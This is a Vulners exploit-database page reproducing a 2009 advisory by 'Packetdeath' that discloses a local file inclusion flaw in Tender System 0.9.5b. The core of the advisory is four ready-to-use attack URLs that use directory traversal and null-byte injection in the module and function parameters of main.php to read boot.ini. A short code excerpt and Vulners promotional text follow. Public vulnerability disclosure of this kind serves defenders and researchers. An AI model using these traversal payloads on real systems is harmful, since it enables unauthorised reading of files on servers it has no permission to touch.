Vulners
Lucene search
Tender System 0.9.5b - Local File Inclusion
__________ __ __ .___ __ .__
\______ \_____ ____ | | __ _____/ |_ __| _/____ _____ _/ |_| |__
| ___/\__ \ _/ ___\| |/ // __ \ __\/ __ |/ __ \\__ \\ __\ | \
| | / __ \\ \___| <\ ___/| | / /_/ \ ___/ / __ \| | | Y \
|____| (____ /\___ >__|_ \\___ >__| \____ |\___ >____ /__| |___| /
\/ \/ \/ \/ \/ \/ \/ \/
-------------------------------------------------------------------------------------------
Note: TESTED LOCALLY WITH XAMPP FOR WINDOWS
I was unable to get this to work on a Linux server. Further testing may be required.
------------------------------------------------------------------------------------------
Target: TenderSystem
Version: 0.9.5 Beta
Site http://www.tendersystem.com/
Demo: http://demo.tendersystem.com/
Date: 2-14-2009
-------------------------------------------------------------------------------------------
Author: Packetdeath
Homepage: www.ssteam.ws
Contact: [email protected]
-------------------------------------------------------------------------------------------
Greetz: bi0, AnnexxEmpire and the rest of SSTeam.ws
-------------------------------------------------------------------------------------------
Exploit:
http://127.0.0.1/tendersystem/main.php?module=../../../../../../../../boot.ini%00.html&function=login
http://127.0.0.1/tendersystem/main.php?module=../../../../../../../../boot.ini%00.jpg&function=login
http://127.0.0.1/tendersystem/main.php?module=session&function=../../../../../../../../boot.ini%00.html
http://127.0.0.1/tendersystem/main.php?module=session&function=../../../../../../../../boot.ini%00.jpg
-------------------------------------------------------------------------------------------------------
Vuln code in main.php:
// load required files
require('modules/generic/ts_main.php');
?>
-------------------------------------------------------------------------------------------------------
Some things are better left unsaid <3
... That is all.
/PacketdeathData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Dec 2009 00:00Current
7.4High risk
Vulners AI Score7.4